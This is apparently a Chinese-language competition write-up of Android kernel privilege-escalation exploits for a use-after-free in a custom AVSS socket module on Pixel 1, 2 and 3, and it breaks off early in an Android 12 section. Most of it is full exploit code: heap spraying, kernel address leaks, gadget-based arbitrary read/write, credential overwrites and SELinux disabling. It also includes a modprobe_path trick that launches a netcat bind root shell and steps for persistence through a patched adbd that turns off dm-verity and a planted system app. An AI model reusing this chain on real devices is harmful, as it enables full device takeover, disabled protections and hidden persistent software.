memset(&addr, 0, sizeof(addr));
addr.avss_family = AF_AVSS;
addr.year = year;
addr.id = id;
if (bind(sockfd, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
perror("bind failed");
close(sockfd);
return -1;
}
return sockfd;
}
int client_connect(int year,int id) {
int sockfd;
struct avss_addr addr;
sockfd = socket(AF_AVSS, SOCK_DGRAM, 0);
if (sockfd < 0) {
perror("socket failed");
return -1;
}
memset(&addr, 0, sizeof(addr));
addr.avss_family = AF_AVSS;
addr.year = year;
addr.id = id;
if (connect(sockfd,(struct sockaddr *)&addr, sizeof(addr)) < 0) {
perror("connect failed");
close(sockfd);
return -1;
}
return sockfd;
}
char payload[0x1000];
int client_thread_finished = 0;
void *client_thread(void *arg) {
size_t serverfd = (size_t)arg;
struct avss_data data;
int client_fd = client_connect(2023,1);
memset(&data, 0, sizeof(data));
data.score = 85; // 示例得分
strcpy(data.buff, "Hello from client!");
if (send(client_fd, &data, sizeof(data),0) < 0) {
perror("sendto failed");
close(client_fd);
return NULL;
}
printf("Message sent to server.n");
usleep(500000);
//UAF
close(serverfd);
usleep(500000);
//setxattr("/tmp", "ha1vk", payload, 0x360, 0);
if (setxattr("/data/local/tmp", "ha1vk", payload, 0x360, 0)) {
perror("setxattr");
}
sleep(5);
client_thread_finished = 1;
return NULL;
}
int read_at_address_pipe(void* address, void* buf, ssize_t len) {
int ret = 1;
int pipes[2];
if(pipe(pipes))
return 1;
if(write(pipes[1], address, len) != len)
goto end;
if(read(pipes[0], buf, len) != len)
goto end;
ret = 0;
end:
close(pipes[1]);
close(pipes[0]);
return ret;
}
int write_at_address_pipe(void* address, void* buf, ssize_t len) {
int ret = 1;
int pipes[2];
if(pipe(pipes))
return 1;
if(write(pipes[1], buf, len) != len)
goto end;
if(read(pipes[0], address, len) != len)
goto end;
ret = 0;
end:
close(pipes[1]);
close(pipes[0]);
return ret;
}
size_t read_qword(size_t addr) {
size_t val = 0;
if (read_at_address_pipe((void *)addr,&val,8)) {
printf("read qword errorn");
exit(-1);
}
return val;
}
uint32_t read_dword(size_t addr) {
uint32_t val = 0;
if (read_at_address_pipe((void *)addr,&val,4)) {
printf("read dword errorn");
exit(-1);
}
return val;
}
void write_dword(size_t addr,uint32_t val) {
if (write_at_address_pipe((void *)addr,&val,4)) {
printf("read qword errorn");
exit(-1);
}
}
void write_qword(size_t addr,size_t val) {
if (write_at_address_pipe((void *)addr,&val,8)) {
printf("read qword errorn");
exit(-1);
}
}
size_t get_current_task() {
size_t task = INIT_TASK;
size_t result = 0;
int i = 0;
int pid;
int current_task_pid = getpid();
while(result == 0 && i++ < 1000) {
task = read_qword(task + TASK_OFFSET) - TASK_OFFSET;
printf("task: %#lxn", task);
if(task == INIT_TASK) {
break;
}
pid = read_dword(task + PID_OFFSET);
printf("pid: %dn", pid);
if(pid == current_task_pid) {
result = task;
}
}
return result;
}
int main() {
size_t serverfd;
struct avss_addr addr;
uint64_t score;
uint64_t x = 0;
pthread_t client_th;
cpu_set_t mask;
CPU_ZERO(&mask);
CPU_SET(1,&mask);
if(sched_setaffinity(0,sizeof(mask),&mask)== -1) {
perror("sched setaffinity");
return -1;
}
memset(payload,'a',0x1000);
/*my custom kernel
*(int *)(&payload[0x114]) = 1;
*(int *)(&payload[0x64]) = 1;
*(size_t *)(&payload[0x28]) = ksymtab___sk_backlog_rcv - 0x68;
//gadget
*(size_t *)(&payload[0x290]) = kernel_setsockopt;
//return to userspace
*(size_t *)(&payload[0x288]) = add_sp_40_ret;*/
//pixel 1 kernel
*(int *)(&payload[0x11C]) = 1;
*(int *)(&payload[0x6C]) = 1;
*(size_t *)(&payload[0x28]) = ksymtab___sk_backlog_rcv - 0x68;
//gadget
*(size_t *)(&payload[0x2b0]) = kernel_setsockopt;
*(size_t *)(&payload[0x100]) = 0x8000;
//return to userspace
*(size_t *)(&payload[0x2a8]) = add_sp_40_ret;
serverfd = create_server(2023,1);
if (pthread_create(&client_th, NULL, client_thread, (void *)serverfd) != 0) {
perror("Failed to create client thread");
return 1;
}
while (!client_thread_finished) {
score = 0;
if (syscall(281, serverfd, &score) <0) {
//printf("syscall errorn");
}
//printf("score=%d,x=%dn",score,x);
}
//close(serverfd);
printf("bypass PXN donen");
size_t current_task = get_current_task();
printf("current_task_addr=0x%lxn",current_task);
size_t current_cred = read_qword(current_task + PTR_CRED_OFFSET);
printf("current_cred: 0x%lxn", current_cred);
for(int i = 0; i < 4; i ++) {
write_qword(current_cred + 4 + i * 8, 0);
}
write_dword(selinux_enforcing, 0);
system("/system/bin/sh");
return 0;
}
提权后,可以通过以下命令将一个app安装到系统中实现持久化
./busybox mount -o remount,rw /vendor
mkdir /vendor/app/Polaris
cp polaris.apk /vendor/app/Polaris
reboot
重启后即可见效果
Android 8 – Pixel 2
UAF的制造与Android 7有点不一样,这次UAF,我们使用一个新的AVSS socket去占位,经过sys_avss_getscore尾部的sock_put时,这个新的AVSS socket引用计数会减1。为了让这个新的AVSS socket也成为UAF状态,我们使用的是client,而不是server,因为server的引用为3,而client的引用为2(create时为1,connect时为2)。这个client经过sys_avss_getscore尾部的sock_put后,引用为1。此时对server进行close,client的引用为0,被free掉了。但是client的文件描述符可以继续操作,这就使得client成为了一个UAF的sock对象。
通过伪造parse指针为读写的gadget,可以实现任意地址读写。
同时需要伪造一下selinux用到的指针,因为bind时会经过selinux来到这个函数,只需要伪造任意的一个地址,满足*(int *)addr == 1,即可绕过。
通过任意地址读写,改写selinux_enforcing为0,关闭selinux,然后搜索cred结构体并改写uid等字段提权。
#define _GNU_SOURCE
#include <sys/types.h>
#include <sys/socket.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/syscall.h>
#include <pthread.h>
#include <sys/xattr.h>
#include <netinet/in.h>
#include <linux/socket.h>
#include <linux/unistd.h>
#include <sys/msg.h>
#include <linux/keyctl.h>
#include <sched.h>
#define AF_AVSS 1024
#define AVSS_PORT 2024
size_t kernel_base;
size_t gadget_leak;
size_t gadget_write;
size_t init_task;
//pixel 2 kernel
#define TASK_OFFSET 0x440
#define PID_OFFSET 0x538
#define PTR_CRED_OFFSET 0x6E8
struct avss_addr {
sa_family_t avss_family;
uint16_t year;
uint32_t id;
} __attribute__((packed));
struct avss_data {
uint8_t score;
char buff[128];
} __attribute__((packed));
int create_server(int year,int id) {
int sockfd;
struct avss_addr addr;
sockfd = socket(AF_AVSS, SOCK_DGRAM, 0);
if (sockfd < 0) {
perror("socket failed");
return -1;
}
memset(&addr, 0, sizeof(addr));
addr.avss_family = AF_AVSS;
addr.year = year;
addr.id = id;
if (bind(sockfd, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
perror("bind failed");
close(sockfd);
return -1;
}
return sockfd;
}
int client_connect(int year,int id) {
int sockfd;
struct avss_addr addr;
sockfd = socket(AF_AVSS, SOCK_DGRAM, 0);
if (sockfd < 0) {
perror("socket failed");
return -1;
}
memset(&addr, 0, sizeof(addr));
addr.avss_family = AF_AVSS;
addr.year = year;
addr.id = id;
if (connect(sockfd,(struct sockaddr *)&addr, sizeof(addr)) < 0) {
perror("connect failed");
close(sockfd);
return -1;
}
return sockfd;
}
char payload[0x1000];
int client_thread_finished = 0;
void spray_addkey(int count) {
int i;
char desc[0x400];
for (i = 0; i < count; i++) {
memset(desc, 'b', 0x300);
desc[0x300] = 0;
syscall(__NR_add_key, "user", desc, payload, 0x400, KEY_SPEC_PROCESS_KEYRING);
}
}
int newserverfd;
int newclient_fd;
void *client_thread(void *arg) {
size_t serverfd = (size_t)arg;
struct avss_data data;
int client_fd = client_connect(2023,1);
memset(&data, 0, sizeof(data));
data.score = 85; // 示例得分
strcpy(data.buff, "Hello from client!");
if (send(client_fd, &data, sizeof(data),0) < 0) {
perror("sendto failed");
close(client_fd);
return NULL;
}
printf("Message sent to server.n");
usleep(100000);
//UAF
close(serverfd);
usleep(500000);
//使用一个任意文件占位原来的serverfd描述符,但是不能用avss_socket去,不然sk指针会重新获取
open("/dev/null",0);
//使用newclient的sock结构体去占位,经过getscore中的sk_free时,newclient的引用将减1但没释放
newclient_fd = client_connect(2023,2);
close(serverfd);
//关闭newclient的一个引用,由于之前减了1,这次关闭引用后,newclient的引用为0将被释放
close(newserverfd);
sleep(5);
close(client_fd);
client_thread_finished = 1;
return NULL;
}
ssize_t syscall_send(int sockfd, const void *buf, size_t len, int flags) {
ssize_t ret;
asm volatile (
"mov x8, %1n"
"mov x0, %2n"
"mov x1, %3n"
"mov x2, %4n"
"mov x3, %5n"
"mov x4, #0n"
"mov x5, #0n"
"svc #0n"
"mov %0, x0n"
: "=r" (ret)
: "r" (SYS_sendto), "r" (sockfd), "r" (buf), "r" (len), "r" (flags) // 输入寄存器
: "x0", "x1", "x2", "x3", "x4", "x5", "x8" // clobbered 寄存器
);
return ret;
}
int client_trigger;
uint32_t read_dword(size_t addr) {
struct avss_addr sk_addr;
memset(payload, 0, 0x360);
*(size_t *)(&payload[0x180]) = addr - 0x58;
// sock_has_perm
*(size_t *)(&payload[0x270]) = kernel_base + 0x12512f8; // fake a sk_security_struct
*(size_t *)(&payload[0x2c8]) = 2023; // year
*(size_t *)(&payload[0x2cc]) = 5; // id
payload[0x2d0] = 1; // score
*(size_t *)(&payload[0x2e0]) = gadget_leak; // parse
spray_addkey(100);
memset(&sk_addr, 0, sizeof(sk_addr));
sk_addr.avss_family = AF_AVSS;
sk_addr.year = 2023;
sk_addr.id = 5;
if (connect(client_trigger, (struct sockaddr *)&sk_addr, sizeof(sk_addr)) < 0) {
perror("client trigger connect failed");
return -1;
}
uint32_t x = (uint32_t)syscall_send(client_trigger, "aaaa", 4, 0);
close(client_trigger);
client_trigger = socket(AF_AVSS, SOCK_DGRAM, 0);
if (client_trigger < 0) {
perror("socket failed");
return -1;
}
return x;
}
size_t read_qword(size_t addr) {
uint32_t low = read_dword(addr);
uint32_t high = read_dword(addr + 4);
size_t val = low + ((size_t)high << 32);
return val;
}
int write_qword(size_t addr,size_t val) {
struct avss_addr sk_addr;
memset(payload, 0, 0x360);
*(size_t *)(&payload[0x20]) = addr - 0x68;
// sock_has_perm
*(size_t *)(&payload[0x270]) = kernel_base + 0x12512f8; // fake a sk_security_struct
*(size_t *)(&payload[0x2c8]) = 2023; // year
*(size_t *)(&payload[0x2cc]) = 5; // id
payload[0x2d0] = 1; // score
*(size_t *)(&payload[0x2e0]) = gadget_write; // parse
spray_addkey(100);
memset(&sk_addr, 0, sizeof(sk_addr));
sk_addr.avss_family = AF_AVSS;
sk_addr.year = 2023;
sk_addr.id = 5;
if (connect(client_trigger, (struct sockaddr *)&sk_addr, sizeof(sk_addr)) < 0) {
perror("client trigger connect failed");
return -1;
}
uint32_t x = (uint32_t)syscall_send(client_trigger, "ha1vk", val, 0);
close(client_trigger);
client_trigger = socket(AF_AVSS, SOCK_DGRAM, 0);
if (client_trigger < 0) {
perror("socket failed");
return -1;
}
return x;
}
size_t get_current_task() {
size_t task = init_task;
size_t result = 0;
int i = 0;
int pid;
int current_task_pid = getpid();
while(result == 0 && i++ < 1000) {
task = read_qword(task + TASK_OFFSET) - TASK_OFFSET;
printf("task: %#lxn", task);
if(task == init_task) {
break;
}
pid = read_dword(task + PID_OFFSET);
printf("pid: %dn", pid);
if(pid == current_task_pid) {
result = task;
}
}
return result;
}
int main() {
size_t serverfd;
struct avss_addr addr;
uint64_t score;
uint64_t x = 0;
pthread_t client_th;
//全部分配到一个CPU上执行,否则很难堆喷成功
cpu_set_t mask;
CPU_ZERO(&mask);
CPU_SET(1, &mask);
if (sched_setaffinity(0, sizeof(mask), &mask) == -1) {
perror("sched setaffinity");
return -1;
}
memset(payload, 0, 0x1000);
serverfd = create_server(2023, 1);
newserverfd = create_server(2023, 2);
client_trigger = socket(AF_AVSS, SOCK_DGRAM, 0);
if (client_trigger < 0) {
perror("socket failed");
return -1;
}
if (pthread_create(&client_th, NULL, client_thread, (void *)serverfd) != 0) {
perror("Failed to create client thread");
return 1;
}
while (!client_thread_finished) {
score = 0;
if (syscall(285, serverfd, &score) < 0) {
// printf("syscall errorn");
}
}
// now newclient_fd is UAF
printf("start leaking kernel base(wait a few minutes)...n");
*(uint16_t *)&payload[0x10] = 0x400;
*(uint32_t *)&payload[0x2C8] = 2023; //year
*(uint32_t *)&payload[0x2CC] = 4; //iod
payload[0x2D0] = 100; //score
*(uint64_t *)&payload[0x2D8] = 0; //peer
*(uint64_t *)&payload[0x2E0] = 0xFFFFFF80090D7E34; //avss_default_parse
while (1) {
*(uint64_t *)&payload[0x2E0] += 0x100000;
spray_addkey(100);
if (syscall(285, newclient_fd, &score) == 0) {
printf("found kernel addressn");
break;
}
}
kernel_base = *(uint64_t *)&payload[0x2E0] - 0x1057e34;
//kernel_base = 0xffffff8d6a480000;
printf("kernel_base=0x%lxn", kernel_base);
init_task = kernel_base + 0x254d750;
// 0xffffff800869a73c : ldr x0, [x0, #0x180] ; ldr x0, [x0, #0x58] ; ret
gadget_leak = kernel_base + 0x61a73c;
//0xffffff80088e4dd0 : ldr x1, [x0, #0x20] ; str x2, [x1, #0x68] ; ldrb w1, [x0, #0x35] ; orr w1, w1, #4 ; strb w1, [x0, #0x35] ; ret
gadget_write = kernel_base + 0x864dd0;
size_t selinux_enforcing = kernel_base + 0x285fa4c;
// 伪造sock结构体
memset(payload, 0, 0x360);
// 绕过selinux函数sock_has_perm的检查
*(size_t *)(&payload[0x270]) = kernel_base + 0x12512f8; // fake a sk_security_struct
spray_addkey(100);
memset(&addr, 0, sizeof(addr));
addr.avss_family = AF_AVSS;
addr.year = 2023;
addr.id = 5;
if (bind(newclient_fd, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
perror("bind failed");
return -1;
}
size_t current_task = get_current_task();
printf("current_task_addr=0x%lxn",current_task);
size_t current_cred = read_qword(current_task + PTR_CRED_OFFSET);
printf("current_cred: 0x%lxn", current_cred);
for(int i = 0; i < 4; i ++) {
write_qword(current_cred + 4 + i * 8, 0);
}
write_qword(selinux_enforcing-4,0xffffffff00000000);
memset(payload, 0, 0x400);
//设置sk的引用,避免最后程序退出时关闭文件描述符时释放这个UAF的sk造成系统崩溃
*(size_t *)(&payload[0x80]) = 0xff;
*(size_t *)(&payload[0x120]) = 0xff;
spray_addkey(100);
system("/system/bin/sh");
return 0;
}
由于设备的分区开了保护,通过分析adb发现adb可以关闭保护adb disable-verity
,但是需要adbd具有root权限。分析adbd,我们从系统中提取adbd程序,然后对adbd进行patch,让其主函数直接调用set_verity_enabled_state_service(1, 0LL)
关闭分区保护
我们把这个修改过的adbd程序命名为disable-dm-verity
,在我们获得的root shell中调用后重启,即可关闭分区保护。全部命令如下
./disable-dm-verity
reboot
./busybox mount -o remount,rw /vendor
mkdir /vendor/app/Polaris
cp polaris.apk /vendor/app/Polaris
reboot
重启后即可见效果
Android 9 – Pixel 3
内核开启了CFI保护,导致劫持函数指针的思路基本不可行。
分析avss_release函数发现链表unlink的操作,这可以被利用起来做任意地址写。
由于两个数据都必须为合法的内存指针,因此不能直接写数据。但是可以用错位的思路,CPU为小端,因此指针的最低一个字节存放在最前面,我们每次只需要保证指针的最低一个字节被写入到目标地址即可。令*(v3 + 112) = addr,
*(v3 + 104) = bss | byte,则可以在addr处写上一个字节byte。其中bss为bss的地址,用于保证两个数据都为合法的内存指针不会崩溃。writeByte的原语如下
void writeByte(size_t addr,int byte) {
size_t serverfd;
pthread_t client_th;
uint64_t score;
memset(payload, 0, 0x1000);
client_thread_finished = 0;
serverfd = create_server(2023, 1);
newserverfd = create_server(2023, 2);
if (pthread_create(&client_th, NULL, client_thread, (void *)serverfd) != 0) {
perror("Failed to create client thread");
return;
}
while (!client_thread_finished) {
score = 0;
if (syscall(291, serverfd, &score) < 0) {
// printf("syscall errorn");
}
}
spray_pipe(1);
*(uint64_t *)&payload[0x80] = 0x2;
*(uint64_t *)&payload[0x2c8] = selinux_enforcing - 0x2c8;
*(uint64_t *)&payload[0x2b8] = 1;
*(uint64_t *)&payload[0x68] = bss | byte;
*(uint64_t *)&payload[0x70] = addr;
setxattr("/data/local/tmp", "ha1vk", payload, 0x400, 0);
close(newclient_fd);
for (int i=3;i<12;i++) {
close(i);
}
//getchar();
}
通过writeByte改写selinux_enforcing为0关闭selinux,改写modprobe_path为提权脚本。然后触发modprobe_path的执行。在脚本中我们用nc监听了一个端口并启动root shell。
#define _GNU_SOURCE
#include <sys/types.h>
#include <sys/socket.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/syscall.h>
#include <pthread.h>
#include <sys/xattr.h>
#include <netinet/in.h>
#include <linux/socket.h>
#include <linux/unistd.h>
#include <sys/msg.h>
#include <linux/keyctl.h>
#include <sched.h>
#include <sys/mman.h>
#define AF_AVSS 1024
#define AVSS_PORT 2024
size_t kernel_base;
size_t selinux_enforcing;
size_t modprobe_path;
size_t bss;
struct avss_addr {
sa_family_t avss_family;
uint16_t year;
uint32_t id;
} __attribute__((packed));
struct avss_data {
uint8_t score;
char buff[128];
} __attribute__((packed));
int create_server(int year,int id) {
int sockfd;
struct avss_addr addr;
sockfd = socket(AF_AVSS, SOCK_DGRAM, 0);
if (sockfd < 0) {
perror("socket failed");
return -1;
}
memset(&addr, 0, sizeof(addr));
addr.avss_family = AF_AVSS;
addr.year = year;
addr.id = id;
if (bind(sockfd, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
perror("bind failed");
close(sockfd);
return -1;
}
return sockfd;
}
int client_connect(int year,int id) {
int sockfd;
struct avss_addr addr;
sockfd = socket(AF_AVSS, SOCK_DGRAM, 0);
if (sockfd < 0) {
perror("socket failed");
return -1;
}
memset(&addr, 0, sizeof(addr));
addr.avss_family = AF_AVSS;
addr.year = year;
addr.id = id;
if (connect(sockfd,(struct sockaddr *)&addr, sizeof(addr)) < 0) {
perror("connect failed");
close(sockfd);
return -1;
}
return sockfd;
}
char payload[0x1000];
int client_thread_finished = 0;
void spray_addkey(int count) {
int i;
char desc[0x400];
for (i = 0; i < count; i++) {
memset(desc, 'b', 0x300);
desc[0x300] = 0;
syscall(__NR_add_key, "user", desc, payload, 0x400, KEY_SPEC_PROCESS_KEYRING);
}
}
int newserverfd;
int newclient_fd;
void *client_thread(void *arg) {
size_t serverfd = (size_t)arg;
struct avss_data data;
int client_fd = client_connect(2023,1);
memset(&data, 0, sizeof(data));
data.score = 85; // 示例得分
strcpy(data.buff, "Hello from client!");
if (send(client_fd, &data, sizeof(data),0) < 0) {
perror("sendto failed");
close(client_fd);
return NULL;
}
printf("Message sent to server.n");
usleep(100000);
//UAF
close(serverfd);
usleep(500000);
//使用一个任意文件占位原来的serverfd描述符,但是不能用avss_socket去,不然sk指针会重新获取
open("/dev/null",0);
//使用newclient的sock结构体去占位,经过getscore中的sk_free时,newclient的引用将减1但没释放
newclient_fd = client_connect(2023,2);
close(serverfd);
//关闭newclient的一个引用,由于之前减了1,这次关闭引用后,newclient的引用为0将被释放
close(newserverfd);
sleep(3);
close(client_fd);
client_thread_finished = 1;
return NULL;
}
ssize_t syscall_send(int sockfd, const void *buf, size_t len, int flags) {
ssize_t ret;
asm volatile (
"mov x8, %1n"
"mov x0, %2n"
"mov x1, %3n"
"mov x2, %4n"
"mov x3, %5n"
"mov x4, #0n"
"mov x5, #0n"
"svc #0n"
"mov %0, x0n"
: "=r" (ret)
: "r" (SYS_sendto), "r" (sockfd), "r" (buf), "r" (len), "r" (flags) // 输入寄存器
: "x0", "x1", "x2", "x3", "x4", "x5", "x8" // clobbered 寄存器
);
return ret;
}
#define NUM_PIPE 100
int pipefd[NUM_PIPE][2];
void spray_pipe(int n) {
for (int i=0;i<n;i++) {
pipe(pipefd[i]);
}
}
void writeByte(size_t addr,int byte) {
size_t serverfd;
pthread_t client_th;
uint64_t score;
memset(payload, 0, 0x1000);
client_thread_finished = 0;
serverfd = create_server(2023, 1);
newserverfd = create_server(2023, 2);
if (pthread_create(&client_th, NULL, client_thread, (void *)serverfd) != 0) {
perror("Failed to create client thread");
return;
}
while (!client_thread_finished) {
score = 0;
if (syscall(291, serverfd, &score) < 0) {
// printf("syscall errorn");
}
}
spray_pipe(1);
*(uint64_t *)&payload[0x80] = 0x2;
*(uint64_t *)&payload[0x2c8] = selinux_enforcing - 0x2c8;
*(uint64_t *)&payload[0x2b8] = 1;
*(uint64_t *)&payload[0x68] = bss | byte;
*(uint64_t *)&payload[0x70] = addr;
setxattr("/data/local/tmp", "ha1vk", payload, 0x400, 0);
close(newclient_fd);
for (int i=3;i<12;i++) {
close(i);
}
//getchar();
}
void setup_rootscript() {
system("echo '#!/system/bin/sh' > /data/local/tmp/g");
system("echo '/data/local/tmp/busybox nc -lp 2333 -e /system/bin/sh' >> /data/local/tmp/g");
system("echo -e 'xffxffxffxff' >> /data/local/tmp/x");
system("chmod +x /data/local/tmp/busybox /data/local/tmp/x /data/local/tmp/g");
int test = popen("/data/local/tmp/g","r");
close(test);
}
int main() {
size_t serverfd;
struct avss_addr addr;
uint64_t score;
uint64_t x = 0;
pthread_t client_th;
//全部分配到一个CPU上执行,否则很难堆喷成功
cpu_set_t mask;
CPU_ZERO(&mask);
CPU_SET(1, &mask);
if (sched_setaffinity(0, sizeof(mask), &mask) == -1) {
perror("sched setaffinity");
return -1;
}
setup_rootscript();
memset(payload, 0, 0x1000);
serverfd = create_server(2023, 1);
newserverfd = create_server(2023, 2);
if (pthread_create(&client_th, NULL, client_thread, (void *)serverfd) != 0) {
perror("Failed to create client thread");
return 1;
}
while (!client_thread_finished) {
score = 0;
if (syscall(291, serverfd, &score) < 0) {
// printf("syscall errorn");
}
}
// now newclient_fd is UAF
printf("start leaking kernel base(wait a few minutes)...n");
*(uint16_t *)&payload[0x10] = 0x400;
*(uint32_t *)&payload[0x2B8] = 2023; //year
*(uint32_t *)&payload[0x2BC] = 4; //id
payload[0x2C0] = 100; //score
*(uint64_t *)&payload[0x2C8] = 0; //peer
*(uint64_t *)&payload[0x2D0] = 0xFFFFFF8009934470; //avss_default_parse
while (1) {
*(uint64_t *)&payload[0x2D0] += 0x100000;
spray_addkey(100);
if (syscall(291, newclient_fd, &score) == 0) {
printf("found kernel addressn");
break;
}
}
//关闭全部描述符
for (int i=3;i<12;i++) {
close(i);
}
kernel_base = *(uint64_t *)&payload[0x2D0] - 0x18b4470;
//kernel_base = 0xffffff827c280000;
selinux_enforcing = kernel_base + 0x2de9000;
modprobe_path = kernel_base + 0x2bafa80;
bss = kernel_base + 0x2deb000;
printf("kernel_base=0x%lxn", kernel_base);
char *root_script = "/data/local/tmp/g";
int len = strlen(root_script) + 1;
for (int i=0;i<len;i++) {
printf("rProgress: %d%% ", i * 100 / len);
writeByte(modprobe_path+i,root_script[i]);
}
printf("ntrigger shell...n");
system("ps -e | grep busybox | awk '{print $2}' | xargs kill -9");
system("/data/local/tmp/x &");
sleep(1);
printf("your shell is here:n");
system("/data/local/tmp/busybox nc 127.0.0.1 2333");
return 0;
}
启动的shell虽然id看到是root,但是selinux的context为u:r:kernel:s0,这会导致仍然不能进行某些操作
可以通过在root shell中继续执行runcon u:r:su:s0 /system/bin/sh
切换selinux的context获得最高的权限。
然后使用如下命令持久化一个app,其中disable-dm-verity9是从该设备中提取的adbd进行patch后得到的程序。
./disable-dm-verity9
reboot
./busybox mount -o remount,rw /vendor
mkdir /vendor/app/Polaris
cp polaris.apk /vendor/app/Polaris
reboot
kSysUAF
Android 12
构建pipe_buffer二级自写管道,实现任意读写,改 cred 结构体实现提权
#define _GNU_SOURCE
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <sys/user.h>
#include <sys/msg.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sys/sem.h>
#include <ctype.h>
#include <sched.h>
#include <stdint.h>
#include <linux/keyctl.h>
#include <sys/prctl.h>
#include <signal.h>
#define DB_OFFSET(idx) ((void*)(&(((struct user*)0)->u_debugreg[idx])))
#define CPU_ENTRY_AREA 0xfffffe0000000000
#ifndef MSG_COPY
#define MSG_COPY 040000 /* copy (not remove) all queue messages */
#endif
#define pause() {write(STDOUT_FILENO, "[*] Paused (press enter to continue)n", 37); getchar();}
// #define DB_STACK_ADDR 0xfffffe0000010f30
void err_msg(char *msg)
{
printf(" 33[31m 33[1m[!] %s